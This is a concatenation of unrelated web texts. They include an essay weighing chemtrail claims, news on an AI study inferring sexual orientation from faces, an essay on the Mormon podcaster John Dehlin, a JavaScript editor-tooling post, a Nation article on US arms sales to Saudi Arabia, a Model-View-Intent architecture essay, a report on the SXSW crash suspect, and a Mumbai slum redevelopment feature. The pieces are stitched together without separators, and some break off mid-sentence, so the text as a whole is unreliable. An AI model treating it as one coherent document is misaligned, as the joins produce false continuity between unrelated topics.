A private company backed by Russ George, a U.S. business man, dumped over 100 tonnes of iron sulphate into the Pacific Ocean. In an experimental process known as ocean fertilization, George violated two United Nations moratoria. He hoped the experiment would cause plankton to absorb carbon dioxide; allowing further research to cash in on carbon credits. The experiment affected 10,000 square kilometers of ocean in a plankton boom.
During the 2008 Olympics games in Beijing, China seeded the clouds in order to prevent rain during critical events. Texas seeds clouds in over a third of their state, an area of 45 million acres, to control rainfall. Weather modification does happen. It’s technologies utilized by both governments and private industry. Chemtrails are believed to be a collective effort by scientists and world governments to modify weather on a global scale for a specific purpose. Theories on why they would do this varies, but the most common involve the prevention (or acceleration) of climate change.
Advocates say this is being done in plain sight. Documentaries such as Why in the World are they Spraying claim that what seem like clouds forming due to condensation from passenger airplane exhaust are really aerosol sprays containing heavy metals. They also claim the process has been introduced gradually over the past two decades, allowing people to become accustomed to such sprays as being normal.
Sky over Amsterdam, The Netherlands - 26 August 2015
I saw my first long, persistent trail of clouds suspended in the sky while traveling via train from Adelaide, South Australia to Alice Springs. These may have been present all my life, but this was the first time I really noticed and paid careful attention to it. Over the years I saw similar trails occasionally in cities in New Zealand, Singapore and eventually, the largest example, in Amsterdam.
If chemical spraying were happening at a global level, the scale of it would need to be phenomenal. However the scale of an endeavor being seemingly impossible shouldn’t immediately discredit it. Edward Snowden revealed that America and various other governments are actively spying on their own citizens on a scale so massive as it would have been discounted as a conspiracy theory if it were not for the context it was presented in.
Still, the evidence presented on some of these websites and in some documentaries would be convincing if it wasn’t for the scale. I’ve seen these trails while traveling through countries in the South Pacific, South East Asia, Western Europe and many other regions. Even though multi-nation secret projects of considerable scale have taken places, such as the Five Eyes and their international spying network, the scale for such a geo-engineering project would be substantially higher and involve corporation between either many industries and/or governments.
One of the arguments made in the mentioned documentaries is that standard airplane contrails quickly dissipate, where as chemical aerosols remain stagnant and gradually spread out over sky creating blankets of suspended heavy metals. The one piece of evidence I found as a compelling counter argument were photos from before the current Internet era, published in various magazines, that show the existence of such persistent clouds formed from jet engine exhaust.
George Silk photo of Ardennes, Belgium. 24 December, 1944
I’ll admit that even prior to tracking down the sources for photographs like these, I had become skeptical of chemtrails simply due to the amount of traveling I have done and the sheer scale of such a project. But with the same merit, I was also disheartened at all those who strongly attack people who hold such views. I really feel that terms such as debunking are geared more towards attacking individuals based on their beliefs rather than trying to critically think about a topic. To debunk means to already assume an existing bias or predisposition is correct, and then to either gather facts or preform an experiment to prove that thesis. It’s a mentality that often leads to the same type of cherry picking of facts and confirmation bias used by the people one is attempting to debunk.
During the Cold War era, the United States military carried out Operation Delirium, a project that involved subjecting soldiers to nerve gas and the hallucinogen LSD. They wanted to see if such agents could be turned into non-lethal weapons that could be sprayed over enemies. Over 5,000 soldiers participated in these dangerous experiments, without knowledge of the agents they had been given. Many of them have joined a class-action lawsuit against the US government.
People are not unintelligent simply for entertaining the hypothesis that chemical spraying programs to alter the environment may exist. The evidence presented so far shows that both governments and private organizations have openly engaged in weather modification. It also shows that a private investor has dumped chemicals into the ocean in a attempt at a business venture. We’ve even shown how the US government unethically experimented with soldiers to attempt to develop aerosol chemical weapon sprays. Finally, the Snowden leaks show that the scale of secretive global programs involving millions of dollars and multiple countries can and do exist.
In my own independent research and experiences, I do not believe at the current time that a world wide geo-engineering program exists. The majority of stagnant trails forming behind passenger airliners, that later disburse into their long stands across the sky are nothing more than clouds. They are simply formed by the vast difference in temperature between atmosphere and jet exhaust.
I will admit that for a while I questioned if that were true. After seeing the great trails of Amsterdam, I truly believed that some governments must be painting the skies in an attempt to curtail climate change. It was through diligent research and exploring, through both sides of the arguments, that I came to my conclusions. Independent thought and exploration should be encouraged.Artificial Intelligence (AI) can now accurately identify a person's sexual orientation by analyzing photos of their face, according to new research.
The Stanford University study, which is set to be published in the Journal of Personality and Social Psychology and was first reported in The Economist, found that machines had a far superior "gaydar" when compared to humans.
The machine intelligence tested in the research could correctly infer between gay and straight men 81 percent of the time, and 74 percent of the time for women. In contrast, human judges performed much worse than the sophisticated computer software, identifying the orientation of men 61 percent of the time and guessing correctly 54 percent of the time for women.
The research has prompted critics to question the possible use of this type of machine intelligence, both in terms of the ethics of facial-detection technology and whether it could be used to violate a person's privacy.
Michal Kosinski and Yilun Wang, the lead researchers of the study, suggested the software was able to find subtle differences in facial structure between gay and straight people and therefore could accurately conclude their sexual orientation.User Photo Albums Containing this Photo (10) + Add to Album
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Album created by member coco13cos Album Views: 1,886,060 Over 35.000 of RP's most appreciated and beautiful photos.I’ve read recently many responses to the recent news of John Dehlin, popular Mormon podcaster, facing church discipline and likely excommunication. Attitudes are predictably drawn for the most part, with the typical saint feeling he disrupts faith and ought to face discipline, and others feeling Dehlin is being unjustly censored.
In some cases, though, there are particularly deep running feelings. Especially among those who have felt to return to faith while still struggling with doubts. For these people, Dehlin facing excommunication is scary in and of itself, but more than that, the sometimes vitriolic reaction of the faithful saints – a group to which they long to feel belonging – is shocking and repulsive.
Imagine, if you can, trying to return to a group that never knew it had lost you, only to find that group seeming to turn, as a unit, and rip apart another just like you.
I don’t know how you would react, but I know my response would not be positive in any way. It would take more willpower than I have to continue to contribute to such a group, feeling like I was empowering it to do more of the same.
So let’s talk for just a minute about John Dehlin. Let’s get some facts. Then let’s talk about how bad we are at judging people, and why, whatever we conclude about Brother Dehlin, we’re probably wrong.
Let’s warm up with some inoffensive facts
Brother Dehlin began Mormon Stories Podcast in 2005. From the beginning it seems clear that the tone of the podcast was meant to talk about problems with the church. Episode 1 was about efforts to inflate baptisms and numbers and speculation about why the church keeps activity statistics secret.
Mormon Stories has included interviews of both pro and anti lds personalities, but Dehlin tries to take no *overt* stance either way.
Brother Dehlin has considered himself faithful and active, but wavered occasionally in his self-evaluation.
Dehlin’s podcast and associated properties evolved into a non-profit, Mormon Stories, which pays him about 40,000 us dollars per year.
Dehlin has been criticized by members and non-members alike for his inconsistent approach to what he does. Some saying he goes too far, some saying he doesn’t go far enough.
Some report that Dehlin’s work has encouraged them to stay in the church. Others report that he was instrumental in helping them escape.
John Dehlin has chosen to publicize his church discipline experience.
Those are some facts that I think we can all agree on without getting too judgy. Where things get difficult is when we try to examine Dehlin as a person. It becomes particularly difficult because there are so many who struggle with feelings of doubt, and they *resonate* with his message. They feel they have found a kindred spirit, and begin to identify with him. That’s just normal human reaction, and there’s nothing wrong with it. But it certainly makes a critical examination of behaviors difficult when those behaviors are used to imply conclusions about the character of the person.
After all, as with Mormonism, adherents only see the best. Those who doubt tend to see the worst.
And John Dehlin becomes a reverse microcosm of Mormonism. Believers in Dehlin hear the accusations and strongly feel they are attacked personally. Those who “doubt” Dehlin can only see flaws, feel they know the truth, and wonder how people can believe.
Now some potentially offensive facts and talk about villians
Let’s be fair. Dehlin has done a lot of good and a lot of bad. Yes, people have left the church directly because of his actions. Yes, other people have remained in the church thanks to his work. But each of us is responsible for tremendous hurt and tremendous help in the lives of others. None of us, if we’re honest, want everything about us to be revealed. We are all flawed, and all of us fail at our goals from time to time. None of us ever would want our character to be judged solely by the results of our actions – because we all screw up. Even with the best intentions, the worst outcomes are possible.
None of us think of ourselves as villains.
Yes, there have been some behaviors of Dehlin that raise red flags for the believers – things that make the believer suspect ulterior motives are at play. I’ll talk about them here, but then I’ll talk about why most of us are probably wrong in our conclusions about those behaviors:
One recent post on a somewhat disturbing “fan site” called DearJohnDehlin pointed out, accurately, that John Dehlin censors responses on his facebook pages, and on comments on his site. Faithful perspectives which disagree with his chosen perspective on the podcast are removed or never approved. Some faithful LDS posters are banned.
Dehlin has set himself up in such a way that he strongly gives emphasis to doubting perspectives, and leaves plenty of room for Dehlin to rhetorically support those views without research, evidence, or sources.
Multiple guests and analysts have pointed out how weak his research and knowledge is in important areas of Mormonism – even failing to recognize basic doctrines of the church in certain episodes.
Dehlin has repeatedly cited notorious antagonists of Mormonism as “top rate historians” and also actively encouraged listeners to visit specific anti-mormon websites for credible information.
In these facts, the anti-Dehlin sees malice – a villain at work. The Dehlinite probably has the instinct to dismiss these claims as altogether false. Again – echoes of Mormonism.
I suggest that the reality is neither. These facts are all true, as best I can tell from available resources, but I suggest that they don’t tell the story you think they do. Just as a slew of facts compiled into a single document fails to tell the story, or even a portion of the “truth” about Mormonism, (you know what I’m talking about) a single document, no matter how well cited, cannot adequately encapsulate the spiritual and emotional journey of a human being over the past 10 years. Indeed, by choosing the facts we want, we can tell whatever story we want to; about Mormonism, about John Dehlin, about ourselves.
Mental framing and Lawrence of Arabia
When I look over the vitriolic discourse around the person and behaviors of John Dehlin I wonder if maybe we’re missing out on the real story: The story of a man who entered a mental frame of doubt, and decided to share.
I suggest that John Dehlin is a man who was persuaded, probably long before he began the podcast, that the so-called anti-mormon “facts” about the church were all true, and never really escaped that belief. In coming to terms with those doubts and concerns, he also found himself on top of a vibrant and profitable enterprise, and behaved simply as most of us would. When challenged, he reacted to appease and placate. When attacked, he reacted by defending himself. When given the opportunity to make money, he took it. When he thought he was helping, he felt good. If a behavior would preserve or improve his audience, he would be more likely to do it. I’m in no way suggesting that any of this was a conscious decision. Like all of us, Brother Dehlin is subject to psychological framing which determines how we make decisions. Without the framing of “the church is true, obviously.” Dehlin made completely rational decisions which fit the circumstances of the moment and which didn’t need to consider the truthfulness of the church at all.
We all do this, all the time, with our own mental frameworks.
In my opinion, the evidence for my theory is all there in the documents provided by those obsessed with him. The authors’ mistake was in searching through 10 years’ worth of data, and looking for a single motive or theory to explain him. These researchers have their biases before they begin researching and simply look for data to support it. They are no different than a Brodie researching Mormonism and choosing to take the worst possible data and interpretations. Their findings are not given in the context of time or circumstance, merely offered as evidence of Dehlin’s inconsistency, which they obliquely suggest is the result of malice towards the church.
But we’re all inconsistent, aren’t we?
For me, the realization came as I watched Lawrence of Arabia for the first time. At one point, Lawrence’s guide attempts to draw a pistol that Lawrence gave him the previous night. A stranger guns down the guide. This stranger approaches and picks up the gun – which belonged to Lawrence just a few hours ago – and asks “Is it yours?” Lawrence replies with “no, it was his.” The stranger then takes it for himself.
This shook me. It shook me because I realized I’m the kind of man who would probably have said “Yes, it’s mine. Give it to me.” or at least “I just gave it to him,” in an effort to try and get it. But Lawrence doesn’t. He tells the simple truth, unaltered by the mental frame of being in the presence of an apparently murderous stranger asking if you want your gun back. I don’t have that kind of consistency – that kind of mental framing. Indeed, few do.
Dehlin’s mental frame.
In reality, I think that John Dehlin likely has very little feeling towards the church, positive or negative. It seems pretty clear that he was checked out, spiritually, quite some time ago. The evidence for this idea includes statements like when he would say he felt he was “temple worthy” but in the same sentence report that he was not paying tithing – a requirement for temple worthiness. This kind of attitude, repeated in various comments over the past several years, indicates an increasing detachment from the doctrines and principles of belief – the mental framework of faith – while his interviews and other commentary reveal an ongoing interest in the church only in terms of analysis, culture and, more centrally, his ability to define his place in it, and his audience’s place in it, regardless of specific beliefs. His perspective is not spiritual. It is merely practical. Or “uncorrelated” to borrow a term.
And with that practicality comes a simple explanation for all of the behaviors which so many faithful find repugnant: He was simply reacting in the moment according to his operating framework, just as we all do. For example, when he found his podcast growing, it would only be natural to cut out voices which criticize it, no matter the belief of the attacker. Just as Apple would delete comments from those who claim Android is the best phone operating system, Dehlin would protect his brand. You would not call Apple malicious. Nor should you judge Dehlin to be so.
Similarly, he would feel no need to research the facts presented on his show, since he already accepted them. In his framework, there was no problem with the data, and, because of the format of the show, there was no need to prepare beforehand. Others would likely later arrive on social media or on the website and point out inconsistencies, however, such voices were easily silenced by Dehlin’s own certainty in his perhaps unconscious conclusions about the church, and the desire to maintain his image as an intellectual. Again, not in a malicious or prideful way, but simply in a matter-of-fact, practical way.
Anti-Mormon intellectuals, as potential guests on his show, must be complimented and respected so that they keep coming. Criticize them, and you risk your business. Naturally, when asked about those people or their websites, he would say glowing things. They were his friends and collaborators, after all. This isn’t malice against the church. It’s just business.
Let’s be better than this.
I bring all this up because I want each of us to ask if we’d really like to be treated the way some are treating Brother Dehlin – to have your character judged by a handful of actions. Would it be fair for somebody to write a paper in which they drag up every inconsistent statement we’ve ever made in the past 10 years? I know I’d have plenty. Would it be decent to have others pointing out our blind-spots in public forums?
Certainly, one might argue that Dehlin brought this critical examination on himself by both being a public figure and by being the one who is actively publicizing his own church discipline experience. To such a thought process I would say that perhaps in modern society such an idea is acceptable, that if somebody is willing and actively being public, we’re free to scrutinize and publicize all we find along with all our judgments. But I would quickly follow such a statement with the idea that as Mormons we ought to be better than just what’s expected in the world at large. Gossip, backbiting, and judging are certainly not in harmony with our efforts to seek after the praiseworthy, virtuous, and lovely. And if we’re to acknowledge the “truth” about somebody, we should make our best efforts and making it the “whole truth,” and not just the part that tells the story we want it to. Let’s leave the judgment calls to those who have the right to make them.
Finally, for the sake of those who are John Dehlin, but in different forms, let us be kind. Remember that the person sitting next to you may have faith that is hanging by a thread. What they don’t need is for their friends to publicly criticize others whose only mistake was to be more public about their struggles.
~Greg Hamblin
Featured Image by AliceThe coding workflow for JavaScript developers gets better all the time. Over the last 10 years, the JavaScript ecosystem has built up a rich set of tools to make your life easier. Most of the buzz around tooling comes from browser devtools and the various build systems available for JavaScript projects, but you can also take advantage of improved tools within your code editor. While there are some great IDEs for JavaScript development out there like WebStorm and Visual Studio, most JavaScript developers seem to prefer lighter-weight text editors. So this post is going to be a quick look at the tools I use for more seamless JavaScript development in a text editor.
Basics
Before we get to anything JavaScript specific, there are a few important things to set up. First, I’m assuming that you’re using a modern, extensible text editor. Those include, but are not limited to: Sublime Text, Vim, Atom and Emacs. There is great support for all of the below tips in each of these editors1.
In addition you should have
Reasonable default configurations2 A fast system for navigating between files3 Great code searching4
If you’re still working through those things, make sure to take the time to learn a bit more about your editor along with any JavaScript specific tools you use. There’s a ton of efficiency you can gain from having those 3 things in place.
Finally the first two tips below require node.JS and npm to be installed, as they rely on node libraries to function. If you’ve never installed those before, the process is pretty painless.
Once you have all of that in place, we can move on to other things.
Syntax Linting
JavaScript is a dynamic, weakly-typed language. It is also written by human beings. As a result, it can be easy to start running bad code without realizing that it has problems. Some types of problems you’ll find out about quickly. Bad syntax will halt program execution for instance. But others will linger, subtly effecting logic or just making the code hard to understand for future developers (including yourself).
JavaScript linters (also called syntax checkers) can provide some of the safety of a compiler, and also help enforce a consistent set of styles to help maintain readability. They are not magic. JavaScript is still a weakly typed language with some weird syntactical sinkholes. It’s relatively easy to make logic mistakes if you’re undisciplined. But linters are a great safety tool, especially for developers newer to JavaScript and its conventions. Run as part of a build process, they can prevent you shipping bad code and help standardize conventions across a team
While it’s a great idea to make linters part of your build process, you get even more power from integrating them with your editor. Almost all modern text editors include some sort of plugin for displaying syntax errors and warnings in the gutter to the left of the text. You can check out the integration pages for ESLint and jsHint to get a feel for the plugins available for your editor.
TernJS + Autocomplete
Linters are great for telling you what not to do, but can’t give you much guidance on what you actually are able to do. Fortunately we have other tools for that. Tern.js is a fantastic library that provides “intellisense” style autocompleting for JavaScript code, along with other IDE-like features including documentation links and refactoring support. It’s not perfect, since JavaScript’s nondeterministic syntax sometimes makes it hard to tell what properties a variable will actually have at runtime, but it takes a good shot at it and is able to go pretty far, especially for libraries where it can expose the full API to you within the editor. To get the most out of Tern, you’ll need to set up a Tern project definition, where you can specify any files that you always want loaded, and any plugins you want to use. The preloaded files is useful if you’re making global references to a namespace or library, and the plugins can give you support for module systems, so that you can handle references that are passed into a module from a different file in code using requireJS or Angular.
Snippets
JavaScript development, especially on the front end, can involve a lot of repetitive boilerplate code5. Whether it’s module boilerplate like AMD require/define wrappers, library boilerplate like directive definitions in Angular or a Model definition in Backbone, or our own favorite patterns that we repeat a lot, we end up writing a lot of code over and over again. Snippets are a great way to accomplish that. They were one of the key features of Textmate when it first became popular. Today they’re built in to Sublime Text and Atom, and there are popular libraries for both Vim and Emacs to simulate the same functionality.
Snippets allow you to define templates for common boilerplate code, allowing you to quickly insert repetitive content, including adding hooks for text that will vary across uses. For instance here’s a snippet I have defined for creating a new AMD module6.
#A new AMD define module snippet dfn define([$1],function($2) { $0 }); endsnippet
This allows me to type dfn<tab> at any time to expand out the template. Initially my cursor will be in spot $1, and I can then enter text and tab to spot $2, with my final tab ending me at $0. Snippet libraries can also provide other functionality like functions to show the current time, filename, or other contextual information. Some can also mirror text so that you can enter a string once and have it appear throughout the template. It can be a great time saver when you’re chugging through the boilerplate code of your project.
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Andy Carroll appears to be enjoying his summer vacation Stateside.
The West Ham striker shared a video of himself partying in a Las Vegas nightclub during a well-earned off-season break.
The former Newcastle and Liverpool centre-forward has finished for the summer after missing out from Roy Hodgson's 26-man provisional England squad for Euro 2016.
He is instead touring the USA with friends, and has shared images throughout the trip with his social media followers.
Carroll has now posted this clip to his Instagram, which shows bikini-clad dancers along with his name and the West Ham badge projected on to screens around the venue.
(Image: James Griffiths)
The 27-year-old featured on 27 occasions for the Hammers in the Premier League this season, the most appearances he has made in a single campaign since playing 35 times for Liverpool in 2011-12.
He found the net nine times, his best goals return for five years having suffered from a spate of injuries since leaving Anfield for the East End.
Despite providing a different option for Roy Hodgson, Carroll was left out of the England squad and will not be given the opportunity to add to his nine caps and two goals in France.Time and time again, any actor will tell you that rejection is one of the hardest parts of the business. Imagine going to a job interview multiple times a week, and then not getting said job because of how you look, how you act, or even some indescribable trait a casting director is looking for that you don't seem to possess. The scrutiny is real, and the fact that actors often get criticism repeated back to them makes it even harder. When Olivia Munn was first starting out, she heard two bits of feedback in particular that still stand out to her today.In a new interview with Prestige Hong Kong, Munn reflected on her early days of trying to make it as an actress. "I’d go out for so many auditions, for everything. And, then I’d be told, 'You’re too Asian' or 'You’re too white.' I remember someone telling me, 'Don’t feel bad. One day they won’t be trying to match you to fit with anyone else. You’ll just be hired for you.'"Munn said that things do improve once you get that first role, but still, "You can’t help but get frustrated." Well yeah, frustrated that you're not booking a job, but also that someone would tell a person that she's "too Asian" or "too white." Munn didn't provide more context about the criticism, but it's disappointing to hear that she was at first written off by her ethnicity before she started working steadily, and only then did casting directors recognize her by name instead of appearance.Munn also told the magazine that she's launching a production company. "I’m very excited to get behind the camera and try to create shows — not for me to be in, just to create. It’s an amazing opportunity that doesn’t come along very often." Here's hoping she can help lead the way in gender- and color-blind casting, and that other actors can avoid hearing her early critiques. ( Prestige Hong KongN.H. poll: Mitt wins, Bachmann places
A Magellan poll commissioned by the website NH Journal shows Mitt Romney taking 42 percent of the vote in New Hampshire, with his nearest rivals — Ron Paul and Michele Bachmann — tied at 10 percent each. The rest of the field is in single digits.
There are signs, though, that Bachmann has growth potential:
Story Continued Below [T]he most surprising numbers emerged when we asked which candidates had the strongest debate performance... Thirty-nine percent said Romney gave the strongest performance. But an impressive 28% said Bachmann did. No other candidate finished in double-digits. Among self-identified conservatives who watched the debate, Bachmann performed even better. Among this group, 37% said Romney had the strongest performance, while 33% said Bachmann.
Less promising:
Gingrich faces long odds barring a major turnaround. Sixty-two percent view the former Speaker of the U.S. House unfavorably versus 29% who view him favorably. However, the favorability numbers for the little-known Huntsman are particularly alarming. Only 14% of Republicans view him favorably. More than twice that number – 36% – have an unfavorable view. Among self-identified conservatives Huntsman is in even worse shape. Only 11% of them have a favorable view of Huntsman versus 41% who have an unfavorable view.
It should be noted that NH Journal is the brainchild of a group of political consultants, some of whom are not disinterested observers in 2012. But none of them, last I checked, were working for Romney.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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On August 9, the State Department approved the latest major US weapons sale to Saudi Arabia, mainly to replace tanks that the kingdom has lost in its war in Yemen against Houthi rebels and allies of the former president. The $1.15 billion deal highlights the Obama administration’s deepening involvement in the Saudi-led war, which has escalated after four months of peace talks broke down on August 6. Since then, warplanes from the Saudi-led coalition have bombed a Yemeni school, a hospital run by Doctors Without Borders, and a potato-chip factory, killing more than 40 civilians, including at least 10 children. Ad Policy
The deal for the Saudi army to buy 153 Abrams tanks, hundreds of machine guns, 20 heavy-tank recovery vehicles, ammunition, and assorted other weapons is the latest in a series of arms sales by the United States—and, to a lesser extent, Britain and France—to the kingdom since it launched its war against Yemen in March 2015. In addition to providing intelligence assistance, Washington has rushed billions in smart bombs and other war matériel to help the Saudi air force continue its bombing campaign. Indeed, some of the Saudi weapons systems are so complex and dependent on US spare parts that they would be grounded without American |
the View doesn't actually render anything to the user. View exports an Observable of VTree, which is in virtual-dom terminology just a virtual DOM "element". View's responsibility is to express what the DOM should look like, but it doesn't itself change the DOM.
We delegate the responsibility of changing the DOM to a component called Renderer. It's very simple: it subscribes to VTree Observables from all the Views in your app, and converts these VTree into actual DOM elements. It does so by diff'ing with the previous VTree and applying a patch to the DOM.
Renderer component as a side effect
Renderer is a side-effect and "sink" type of component, consuming events from Views and changing the real world. The benefit of its separation from Views is that Views become more testable since they don't require a browser environment. You can use Views as function-like components: feed in any mockup data, and inspect what Virtual DOM elements (just Javascript objects) come out.
Apparently, React has only renderToString() (meant for using from the backend), which isn't the best format for testing output views. In MVI it is easier to test purely virtual elements.
Example
A couple of weeks ago I saw this collection of React examples, and decided to build one of those implemented in MVI and Virtual DOM. You can compare it to its React counterpart.
How is this different to React/Flux?
MVI is a unidirectional data flow architecture with Virtual DOM for rendering, just like React/Flux is. But the similarities end there, and MVI is different for the following reasons.
Purely Reactive. React mixes Reactive programming patterns with Interactive programming patterns, whenever it makes use of imperative APIs such as setState, forceUpdate, setProps, render. Flux attempts to be reactive by making Stores listen to Dispatcher events, and Controller-Views listen to Store events. However, the centralized Dispatcher is imperatively controlled by Actions, rather than taking the responsibility to observe Actions. Also, Actions are imperatively created at Views. MVI has a consistent reactive approach, making it easy to reason how any component is internally structured.
MVI is decentralized. Flux has a centralized Dispatcher, and the guidelines recommend that it is kept always singleton in the application. This leads to typical centralization problems such as unmaintainability of a large file as the application grows. The Dispatcher is actually an event plumber, connecting all the parties related to events, in a style not that different to a centralized Event Bus. In the MVI structure described here, inter-model dependencies can be easily described separately in each Model: whenever Model X depends on events from Model Y and Model Z happening first, then X simply internally defines that it depends on Y and Z.
Leverages the power of RxJS. While Flux suggests using the low-level EventEmitter which requires manual event handling, RxJS and similar event processing tools are powerhouses capable of replacing a lot of boilerplate that a typical Flux application contains. RxJS also allows the internal structure of a component to be reactive.
Renderer separated from View. By separating View logic from View rendering, the application has more separation of concerns, and the View becomes more testable and replaceable. Since the Renderer is modular and never referenced by any other component, one can also play with different implementations of the Renderer and easily swap between them. In a Renderer, you can even have post-processing steps over the View Observables, modifying the elements or wrapping them in a container div. This makes it easy to implement UI skins, for instance. These modular capabilities do not exist in React.
More testable. Every component in MVI, except side-effects such as the Renderer, are function-like since they are free of side-effects and receive input, generating output. This is an ideal situation for automated tests, specially when the View logic can be tested outside of a browser context, where test execution is faster.
Less coupled. Interactive patterns, often found in React/Flux, immediately imply more coupling between the parts. For instance, Actions import the Dispatcher and explicitly affect it, hence making it harder to replace the Dispatcher with another, if needed. MVI has separation of concerns in its core since it follows reactive programming principles strictly. You can even insert a mediator between the Model and the View or between any other two reactive modules, since they shouldn't need to explicitly import each other. Each component in the MVI cycle is agnostic to the input component it is given in the dependency injection system, as long as the input satisfies an expected interface.
virtual-dom is faster than React. Preliminary benchmarks show that rendering run with virtual-dom is faster than in React and other frameworks. I have yet to see React (as a Virtual DOM rendering tool) perform better than virtual-dom.
Models observe other Models. Flux dictates that inter-model dependency should live in the Dispatcher, but in MVI, those dependencies are defined inside each Model.
No internal state. MVI is comparable to React implementations that only use properties (no state). Views should not contain internal state, since that would violate the View concern, which is simply to render a virtual element. In MVI, all state should live in the Model, even those that are purely UI related. This is more of a recommended practice, rather than a limitation, since one has freedom to implement state in MVI Views. This is related to the next point.
No reusable UI components. React has a strong emphasis on "reusable UI components", which is unmatched in this current MVI proposal. The focus in MVI is to enable separation of concerns with function-like modules. Currently, achieving proper reusable UI components in MVI is still an open problem. That's because a React View component can contain all three Model, View, and Intent responsibilities. I believe the ideal solution to this will be the advent of Web Components inside the context of a Virtual DOM. Ideally, we should virtually render a custom-element, with its own internal state and complex behavior, just like we do with any other div. For a lengthy discussion on these possibilities, read more from our brilliant Jarno Rantanen.
What's next
Model-View-Intent might evolve into a framework, or might not require enough boilerplate to justify a framework. Problems are yet to be discovered. Currently, the biggest challenge is encapsulating a UI component with its behavior, for reuse. We are anxious to see what Web Components will enable together with a Virtual DOM.
I strongly recommend frontend developers to try virtual-dom before picking up React. Its API is minimal, and it only does one thing, so the rest of the work is good old Do-It-Yourself JavaScript with little code. In my opinion it is more faithful to the promise "Just the UI" than React is. virtual-dom throws instructive errors in the event of invalid input, and there are some very useful libraries built specifically for virtual-dom.
Another crucial tool is RxJS, which makes it possible to avoid writing low-level event utilities that other frameworks have to provide. It often almost removes the need to have a framework in the first place.
Model-View-Intent is just an experiment that seems to be working. Unidirectional data flow with the Virtual DOM certainly exists outside the context of React and Flux. There are many possible variations of this architecture, and as frontend technologies normally go, this might evolve significantly in the future. These are exciting times with a lot still to happen.Written by Greg Moskovitch on March 14, 2014
The suspect in the SXSW crash which killed a man and a woman and left 23 injured has been identified as Rashad Charjuan Owens, a father and an aspiring rapper and producer under the stage name KillingAllBeatz or K.A.B., who was in Austin to perform at an East Austin venue.
As the American-Statesman reports, Owens’ brother, Lamar Wilson, said that he last saw Owens on Wednesday evening before his show at Club 1808 near 12th and Chicon streets. Owens was the father of six young children, one of whom currently resides in Alaska, Wilson told the Statesman.
He said that his brother had been studying music production through an online university and had borrowed the silver Toyota he was in on Thursday morning from a friend named Andrew Barmwell. Barmwell is a solider at the Killeen military base who’d reported his car stolen on Thursday morning.
“He’s a real good dude, he was in college and making music, and was trying to live regular,” Wilson said of his brother. Owens’ grandmother, a Killeen, Texas resident, told the American-Statesman her grandson enjoyed producing music and was trying to do good and provide for his toddler son.
“I pray. I pray. I pray,” she said. “He is good. He is so good… Whatever happened was out of his control, I am sure.” She said she was grief-stricken and shocked to hear the allegations against her grandson and declined to give her name as she did not yet know the full details of the incident.
She told the paper that she had learned of the fatal crash from an American-Statesman reporter. According to Owens’ grandmother, Owens resided in Killeen with his family and kept a close relationship with his grandmother. She said he would often call home and appeared to be doing well.
Owens’ Facebook page features numerous photos of himself producing music using a small home studio setup. According to CBS Dallas-Fort Worth’s Mireya Villarreal, Owens was signed to small label, Gavah Entertainment, run by a student at Full Sail University, which Owens also attended.
Owens maintained an active presence on social media, regularly updating friends and family about his latest production efforts, as well as uploading music to his SoundCloud account. His last SoundCloud post was 22 days ago. The clip has received several comments from angry users.
Public records show Owens had several misdemeanour arrests in the Fairbanks Fourth District in Alaska, including charges of minor under the influence and criminal trespass. In October 2011, he was charged with DUI, leaving the scene of an accident, and a petition to revoke probation.
According to court filings, Owens pleaded guilty only to the DUI misdemeanour charge. Prosecutors dismissed the misdemeanour fleeing offence. Owens reportedly has an active warrant in Alaska for a failure to appear in court. He does not appear to have a criminal history in Travis County.
Austin police say they will charge the 21-year-old suspected drunken driver with two counts of capital murder and 23 counts of aggravated assault. Capital murder is Texas’ highest offence and is punishable by imprisonment for life without parole or the death penalty, under state law.
Watch: K.A.B. & Sincere – Stripper News
Watch: MacLife & Marz – Retarded (Shot and Edited by KillingAllBeatz)
Listen: K.A.B. – Reason BeatsSlum houses and luxury apartments in Mumbai, India Courtesy of Daniel Brook
India’s tallest buildings, the missile-shaped Imperial Towers, rise up through the smoggy haze of the nation’s financial capital, Mumbai, like a shimmering vision of Oz. The most dramatic view of the towers comes from gazing at them down Falkland Road, a diagonal avenue that cuts through the heart of the island metropolis and dead ends right before the buildings. But the luxury high-rises’ promotional photographs never show this view because, to Mumbaikars, Falkland Road is synonymous with prostitution and is best known for the infamous cages that display the human merchandise. On Falkland Road, rates for services begin at $1; just up the street, in Imperial Towers, the penthouses go for $20 million. The economic vertigo is even more intense than the actual vertigo one gets staring down at Falkland Road from the penthouse balcony.
Mumbai has long been famous for the cheek-by-jowl existence of some of the world’s richest and poorest people. In the decades since India’s independence, impoverished squatters have been filling in any unused space in the megacity, and courts and politicians have generally protected their right to stay. But in the last decade, a new generation of luxury developments has been built atop transformed slums like the shantytown that once sat on the site where Imperial Towers now rises. They are the products of a land policy reform that allows real estate developers to build market-rate projects atop former slums provided they rehouse the slum dwellers on site; though it is easy to miss, next to the tall, flamboyant Imperial Towers sits a cluster of midrise slabs. The results are often surreal, but Mumbai’s slum redevelopment program may have repercussions far beyond India. The city is providing a real-world test of Peruvian economist Hernando de Soto’s theory that the best way to fight poverty in the developing world is to give slum dwellers legal title to their property. But not everyone sees it as a solution to the multifaceted problem of developing world poverty.
The Mumbai slum redevelopment policy is the brainchild of local starchitect Hafeez Contractor, who is not coincidentally the designer of Imperial Towers. “I used to always say something should be done about the slums. And I always used to say that the best way of [dealing with] slums was that you give them free houses, keep the land, and build on it and make money,” Contractor told me when we met in his office near the Mumbai stock exchange. “When I first told them in 1982 … everybody said I am crazy. Today, they are implementing it.”
In 1995, with the backing of the populist local power broker, Balasaheb Thackeray, Contractor’s plan was approved. “Whatever you might say, Balasaheb had balls of steel,” Contractor said of the controversial figure, an open admirer of Hitler, who died last year. “All credit should be given to him.”
With the policy framework in place, as the Mumbai economy has boomed in the new century, the slum-dotted landscape has been transformed. Increasingly, slums in prime locations, like the one near the Mumbai international airport chronicled in Katherine Boo’s Behind the Beautiful Forevers, have become the site of negotiations between residents and developers. The law specifies that if 70 percent of a slum’s residents approve, the land can be redeveloped in exchange for each family being given an on-site apartment of 270 square feet. (Rumors that developers trade cash bribes for votes are rampant in the city.)
When I visited the Imperial Towers site with a group of U.K.-based architects, a family of four welcomed us into their tiny two-room apartment—one room for sitting and sleeping and the other, a kitchen-cum-bathroom, for everything else. The mustachioed man of the house, who wore a white undershirt that clung to his burgeoning potbelly, showed the place off with pride, though each room was not much bigger than the parking spaces in the multistory lot reserved for the millionaires next door.
